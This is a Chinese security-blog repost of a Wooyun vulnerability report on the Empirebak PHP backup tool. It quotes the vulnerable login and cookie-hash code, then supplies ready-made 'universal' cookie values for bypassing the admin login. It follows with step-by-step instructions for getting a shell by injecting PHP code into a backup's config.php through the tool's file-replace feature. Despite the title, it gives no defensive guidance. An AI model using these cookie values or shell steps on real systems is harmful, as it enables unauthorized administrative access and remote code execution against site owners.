帝国备份王(Empirebak)万能cookie及拿shell方法与防御

2023-12-07 0 857

转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591 1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456) 登录成功设置4个cookie,看代码

PHP Code复制内容到剪贴板

  • functionlogin($lusername,$lpassword,$key,$lifetime=0){
  • global$set_username,$set_password,$set_loginauth,$set_loginkey;
  • if(emptyempty($lusername)||emptyempty($lpassword)){
  • printerror("EmptyLoginUser","index.php");
  • }
  • //验证码
  • if(!$set_loginkey)
  • {
  • if($key<>getcvar(\’checkkey\’)||emptyempty($key))
  • {
  • printerror("FailLoginKey","index.php");
  • }
  • }
  • if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)
  • {
  • printerror("ErrorUser","index.php");
  • }
  • //认证码
  • if($set_loginauth&$set_loginauth!=$_POST[\’loginauth\’])
  • {
  • printerror("ErrorLoginAuth","index.php");
  • }
  • $logintime=time();
  • $rnd=make_password(12);//生成随机字符
  • $s1=esetcookie("bakusername",$lusername,0);
  • $s2=esetcookie("bakrnd",$rnd,0);//随机字符
  • $s3=esetcookie("baklogintime",$logintime,0);
  • Ebak_SCookieRnd($lusername,$rnd);//
  • if(!$s1||!$s2)
  • {
  • printerror("NotOpenCookie","index.php");
  • }
  • printerror("LoginSuccess","admin.php");
  • }
  • 再看看make_password函数

    PHP Code复制内容到剪贴板

  • functionmake_password($pw_length){
  • $low_ascii_bound=50;
  • $upper_ascii_bound=122;
  • $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);
  • while($i<$pw_length)
  • {
  • mt_srand((double)microtime()*1000000);
  • $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
  • if(!in_array($randnum,$notuse))
  • {
  • $password1=$password1.chr($randnum);
  • $i++;
  • }
  • }
  • return$password1;
  • }
  • 这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

    PHP Code复制内容到剪贴板

  • functionEbak_SCookieRnd($username,$rnd){
  • global$set_loginrnd;//$set_loginrnd为config.php里面的验证随机码
  • $ckpass=md5(md5($rnd.$set_loginrnd).\’-\’.$rnd.\’-\’.$username.\’-\’);//没有把密码加进去,于是漏洞产生了
  • esetcookie("loginebakckpass",$ckpass,0);
  • }
  • 下面给出万能cookie(key:value):

    XML/HTML Code复制内容到剪贴板

  • ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6
  • ebak_bakrnd:35y5cCnnA4Kh
  • ebak_bakusername:admin
  • ebak_baklogintime:4070883661
  • 使用以上cookie即可直接访问admin.php 2.拿shell 后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库 备份数据,随便找个数据库备份, 然后到替换目录文件内容里,选择刚才备份的数据库, 将”$b_table=” 替换成 “phpinfo(); $b_table=”帝国备份王(Empirebak)万能cookie及拿shell方法与防御这里shell的路径就是bdata/mysql_20141007221849/config.php帝国备份王(Empirebak)万能cookie及拿shell方法与防御

    收藏 (0) 打赏

    感谢您的支持,我会继续努力的!

    打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
    点赞 (0)

    悠久资源 脚本攻防 帝国备份王(Empirebak)万能cookie及拿shell方法与防御 https://www.u-9.cn/security/gongfang/124711.html

    常见问题

    相关文章

    发表评论
    暂无评论
    官方客服团队

    为您解决烦忧 - 24小时在线 专业服务